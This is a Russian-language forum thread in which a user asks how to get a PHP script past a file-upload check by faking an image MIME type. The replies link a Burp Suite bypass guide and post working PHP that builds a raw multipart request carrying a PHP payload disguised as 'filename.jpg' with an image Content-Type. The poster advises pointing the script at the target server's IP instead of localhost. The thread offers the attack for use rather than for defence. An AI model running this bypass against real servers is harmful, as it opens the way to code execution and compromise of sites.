Доброго времени еще раз Читаю тут https://myrusakov.ru/php-loadserver-security.html И фактически, злоумышленник может поставить любой MIME-type (и картинки тоже), но при этом отсылать PHP-скрипт Был бы благодарен как это сделать,за инфу.Рыл,ничего не нарыл
burp https://null-byte.wonderhowto.com/how-to/bypass-file-upload-restrictions-using-burp-suite-0164148/
Code: <?php $source = <<< HEREDOC <?php phpinfo(); HEREDOC; $filename = "filename.jpg"; $content = "------WebKitFormBoundarysZFBtnPKoYVUcMnN\r\n" ."Content-Disposition: form-data; name=\"somename\"; filename=\"{$filename}\"\r\n" ."Content-Type: image/jpg\r\n" ."\r\n" ."{$source}\r\n" ."------WebKitFormBoundarysZFBtnPKoYVUcMnN--\r\n"; $url = '/upload.php'; $host = 'localhost'; $length = strlen( $content ); $request = "POST {$url} HTTP/1.1\r\n" ."Host: {$host}\r\n" ."Content-Length: {$length}\r\n" ."Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysZFBtnPKoYVUcMnN\r\n" ."\r\n" .$content; $resource = stream_socket_client( "tcp://127.0.0.1:80", $errno, $errstr, 30 ); if( !is_resource( $resource ) ) trigger_error( "can't open connect becouse {$errstr}", E_USER_ERROR ); fwrite( $resource, $request ); while( true ) { $string = fread( $resource, 65535 ); echo( $string ); if( is_int( strpos( $string, "\r\n\r\n" ) ) ) break; } fclose( $resource );
Изменить значения переменных, а в url с 127.0.0.1 заменить на ip сервера. Если с этим есть проблемы, то попросить программиста переписать концепт в утилиту.